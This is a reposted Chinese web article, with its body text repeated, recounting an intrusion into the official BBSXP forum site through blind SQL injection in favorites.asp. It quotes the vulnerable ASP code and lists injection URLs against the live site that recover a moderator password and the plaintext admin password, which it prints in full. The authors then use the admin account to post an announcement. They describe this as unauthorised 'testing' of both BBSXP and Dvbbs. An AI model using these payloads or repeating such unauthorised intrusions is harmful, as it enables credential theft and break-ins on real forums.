利用最基本的SQL注入滲透BBSXP官方網(wǎng)站的臺后管理
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:37:57 作者:佚名
我要評論
漏洞分析
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性!
他非常的cool,i like!呵呵,不知道你看過這部電影沒有?
不過,我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
漏洞分析
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性!
他非常的cool,i like!呵呵,不知道你看過這部電影沒有?
不過,我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
過程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺區(qū)長密碼.
3.利用漏洞,得到后臺密碼.
4.添加公告,閃人! 開始工作: 到bbsxp官方網(wǎng)站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個漏洞存在于用戶添加收藏功能中 相應的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經(jīng)添加到網(wǎng)絡收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無用代碼略掉********************************// 看到代碼了,首先要注冊使用本功能.
然后在這個asp文件中提交的參數(shù)有:menu,id就這兩個值.
大家看看,當提交的menu=del的時候。哈哈!調(diào)用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒有過濾直接加入到sql語句中了。 攻擊演示 第二步,利用漏洞,得到前臺管理員密碼. 接到上面的來。我們測試一下這個漏洞是不是存在.
自己先添加一個收藏地址進去.得到收藏的id號(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個request.cookies("username").他直接就等于你進來的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個漏洞,沒有打上補丁。 現(xiàn)在我找到漏洞了,呵呵~!點支煙吧!!打開數(shù)據(jù)庫查看數(shù)據(jù)庫結(jié)構(gòu)。
保存數(shù)據(jù)庫的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒有經(jīng)過任何加密)
我們現(xiàn)在就來得到一個區(qū)長的密碼吧。在首頁看到區(qū)長的名字有一個叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對sql語句了解的戰(zhàn)友們都知道,當where條件后面為真的情況下,才會執(zhí)行這條語句!
執(zhí)行這條語句的結(jié)果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語句,當用戶名是kongweb,當密碼長度為5的時候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數(shù),剛好為1條。也就是說等式正立。
當然不成功,是不會del了收藏地址的。 最后我們改變長度值. 結(jié)果出來了當長度等于9的時候。del了收藏地址。
證明kongweb這個區(qū)長的密碼為:9位.
好了,我們開工吧, 我們來破他的第一位密碼。不過我們在先破密碼的時候,要多加點收藏地址。
因為正確一個就會del一個收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說一個mid函數(shù)的用法:
mid(字符串,起始位置,長度) 這是一個取字符串中特定位置,特定長度的一個函數(shù).
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號不錯會出錯. 本來我打算用我寫的破解程序的來直接破解的,不過我們連到他的bbs網(wǎng)站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來。也就只有手工猜了.
第一位密碼幾分種后才猜出來。 當我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時候,我們del了,收藏地址id為588的記錄.
在ie中沒有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復的提交和修改,最后得出密碼是:kdjkdjkdj 這里來介紹一下簡單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個字符的asc碼大于100。
相反,你也可以這樣測試:..asc(mid(userpass,1,1))<105
如果正確,那么這個字符的asc碼就是:100-105之間了。最后確定,比如:當asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個字符的asc碼了。再用相應的工具轉(zhuǎn)成e文母就ok了。[我寫了有這樣的程序,要的朋友請與我聯(lián)系]
這里沒有用這種方法,是因為這里要添加太多的收藏地址才行。因為用范圍去比較的話,正立的機會很大,當成立就會del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來第二步的任務已經(jīng)完成了。我們得到了區(qū)長:kongweb 密碼:kdjkdjkdj 第三步:得到后臺管理密碼; 看一下他的庫結(jié)構(gòu),發(fā)現(xiàn)了clubconfig這個表中有一個字段叫:adminpassword是用來保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個字段的值.
這個庫中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進行猜解.
一樣的辦法。得到后臺密碼長度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺的密碼也是9位。不會前臺和后臺的密碼相同吧,測試一下。結(jié)果不正確。和前臺的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來了。前兩位是bb. 呵呵,你的社會工程學,學得怎么樣????聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對了。再發(fā)揮你的社會工程學方面的功能。又想到了bbsxp因為他是的網(wǎng)站開發(fā)的產(chǎn)品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數(shù)取前5位
說明一個函數(shù):left(字符串,長度)就是從字符串第一位開始,取長度個值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對了。呵呵,還有四位,想不出來了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會工程學,學得沒有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧!??!
最了,最后居然對了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺的賬號,和后臺的密碼。進去發(fā)布公告吧! 第四步:發(fā)布公告.
進入后臺我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結(jié)束句:
前段時間測試動網(wǎng)官方論壇,也一樣的有漏洞,今天測試bbsxp還有這么低級的錯誤,我們在這里先向我們?nèi)肭诌^的動網(wǎng),以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網(wǎng)絡更加安全,測試了一下你們的論壇!希望你們以后會寫得更好!
我們也一樣會努力認真的再次對你們的論壇進行測試的。
序:
有一部電影的名字叫著《全職殺手》,劇中的男主角托爾,我非常喜歡他的個性!
他非常的cool,i like!呵呵,不知道你看過這部電影沒有?
不過,我今天要為大家講解的故事發(fā)現(xiàn)在網(wǎng)絡當中.這次是一次非常,常見的sql滲透攻擊.也是最基礎的.
過程如下:
1.找出漏洞并分析漏洞.
2.利用漏洞,得到前臺區(qū)長密碼.
3.利用漏洞,得到后臺密碼.
4.添加公告,閃人! 開始工作: 到bbsxp官方網(wǎng)站下載最新的bbsxp。 第一步:找出漏洞,并分析漏洞.這個漏洞存在于用戶添加收藏功能中 相應的asp文件:favorites.asp
//*************************源代碼***************************************************//
<% if request.cookies("username")="" then
error("
您還還未登陸社區(qū)")
end if select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("已經(jīng)添加到網(wǎng)絡收藏夾!") case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************后面的無用代碼略掉********************************// 看到代碼了,首先要注冊使用本功能.
然后在這個asp文件中提交的參數(shù)有:menu,id就這兩個值.
大家看看,當提交的menu=del的時候。哈哈!調(diào)用的是什么?就是它,它就有漏洞。漏洞在哪里?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值沒有過濾直接加入到sql語句中了。 攻擊演示 第二步,利用漏洞,得到前臺管理員密碼. 接到上面的來。我們測試一下這個漏洞是不是存在.
自己先添加一個收藏地址進去.得到收藏的id號(我們得到的是576)。
在ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,實際上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那個request.cookies("username").他直接就等于你進來的用戶名.
提交后,發(fā)現(xiàn)我們收藏的文件被del了。證明有這個漏洞,沒有打上補丁。 現(xiàn)在我找到漏洞了,呵呵~!點支煙吧!!打開數(shù)據(jù)庫查看數(shù)據(jù)庫結(jié)構(gòu)。
保存數(shù)據(jù)庫的用戶名字段為:username 密碼字段為:userpass(注:密碼是明碼,沒有經(jīng)過任何加密)
我們現(xiàn)在就來得到一個區(qū)長的密碼吧。在首頁看到區(qū)長的名字有一個叫:kongweb的. 提交http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5) 呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)") 對sql語句了解的戰(zhàn)友們都知道,當where條件后面為真的情況下,才會執(zhí)行這條語句!
執(zhí)行這條語句的結(jié)果就是del一條自己的收藏地址,那么我們的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果為真的話就del了id為576的收藏地址.
看一下。這條語句,當用戶名是kongweb,當密碼長度為5的時候,就有一條記錄返回。
count(*)的意思就是返回滿足條件的記錄總數(shù),剛好為1條。也就是說等式正立。
當然不成功,是不會del了收藏地址的。 最后我們改變長度值. 結(jié)果出來了當長度等于9的時候。del了收藏地址。
證明kongweb這個區(qū)長的密碼為:9位.
好了,我們開工吧, 我們來破他的第一位密碼。不過我們在先破密碼的時候,要多加點收藏地址。
因為正確一個就會del一個收藏地址。 采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
這里說一個mid函數(shù)的用法:
mid(字符串,起始位置,長度) 這是一個取字符串中特定位置,特定長度的一個函數(shù).
我們mid(userpass,1,1)=a表示取出密碼的第一位看是不是a 注:一定要加上單引號不錯會出錯. 本來我打算用我寫的破解程序的來直接破解的,不過我們連到他的bbs網(wǎng)站上特別的慢。也不知道為什么。
所以,程序半天都跑不出來。也就只有手工猜了.
第一位密碼幾分種后才猜出來。 當我們提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的時候,我們del了,收藏地址id為588的記錄.
在ie中沒有看到那條記錄了。證明成功了。好,現(xiàn)在換id值,取第二位.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就這樣重復的提交和修改,最后得出密碼是:kdjkdjkdj 這里來介紹一下簡單的方法,可以用取字符asc碼的辦法縮小范圍的。
http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.證明第一個字符的asc碼大于100。
相反,你也可以這樣測試:..asc(mid(userpass,1,1))<105
如果正確,那么這個字符的asc碼就是:100-105之間了。最后確定,比如:當asc(mid(userpass,1,1))=103
如果del了收藏,就得到這個字符的asc碼了。再用相應的工具轉(zhuǎn)成e文母就ok了。[我寫了有這樣的程序,要的朋友請與我聯(lián)系]
這里沒有用這種方法,是因為這里要添加太多的收藏地址才行。因為用范圍去比較的話,正立的機會很大,當成立就會del收藏的。所以我們還是一位一位的取吧。
添加收藏也慢得要死。
好了,看來第二步的任務已經(jīng)完成了。我們得到了區(qū)長:kongweb 密碼:kdjkdjkdj 第三步:得到后臺管理密碼; 看一下他的庫結(jié)構(gòu),發(fā)現(xiàn)了clubconfig這個表中有一個字段叫:adminpassword是用來保存密碼字段的.并且也是明密保存的.
我們要的就是他。我們就要取到這個字段的值.
這個庫中一般都就只有一條記錄。所以他的count(*) 也就只有一條. 再次利用我們第二步的漏洞.進行猜解.
一樣的辦法。得到后臺密碼長度為:9位.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
剛好正確。
想到了,剛才前臺的密碼也是9位。不會前臺和后臺的密碼相同吧,測試一下。結(jié)果不正確。和前臺的密碼不一樣。也只有慢慢的猜了。 猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok。第一位出來了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.第二位也出來了。前兩位是bb. 呵呵,你的社會工程學,學得怎么樣????聯(lián)想一下。我們想到了bbs呵呵,我們想到前三位可能是bbs試試吧!
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太對了。再發(fā)揮你的社會工程學方面的功能。又想到了bbsxp因為他是的網(wǎng)站開發(fā)的產(chǎn)品嘛。一般人都是這樣的。試試。 現(xiàn)在我們用left函數(shù)取前5位
說明一個函數(shù):left(字符串,長度)就是從字符串第一位開始,取長度個值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又對了。呵呵,還有四位,想不出來了。我們又破到了兩位.
前七位就是:bbsxpco還有兩位了。想一下。co加兩位什么好呢?呵呵,社會工程學,學得沒有別人好啊。
兄弟們都想了好久,最后想到了cool試試吧!??!
最了,最后居然對了。就是cool密碼就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool) 現(xiàn)在有前臺的賬號,和后臺的密碼。進去發(fā)布公告吧! 第四步:發(fā)布公告.
進入后臺我們發(fā)布了記他注意腳本安全的公告,然后閃人! 結(jié)束句:
前段時間測試動網(wǎng)官方論壇,也一樣的有漏洞,今天測試bbsxp還有這么低級的錯誤,我們在這里先向我們?nèi)肭诌^的動網(wǎng),以及bbsxp道歉!
我們并不是惡意的攻擊,我們只是為了網(wǎng)絡更加安全,測試了一下你們的論壇!希望你們以后會寫得更好!
我們也一樣會努力認真的再次對你們的論壇進行測試的。
相關文章

什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06
Windows系統(tǒng)安全風險-本地NTLM重放提權
入侵者主要通過Potato程序攻擊擁有SYSTEM權限的端口偽造網(wǎng)絡身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權限,該安全風險微軟并不認為存在漏洞,所以2021-04-15
這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權,需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導致用戶信息泄露。2016-07-27- 國家正在修正關于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06


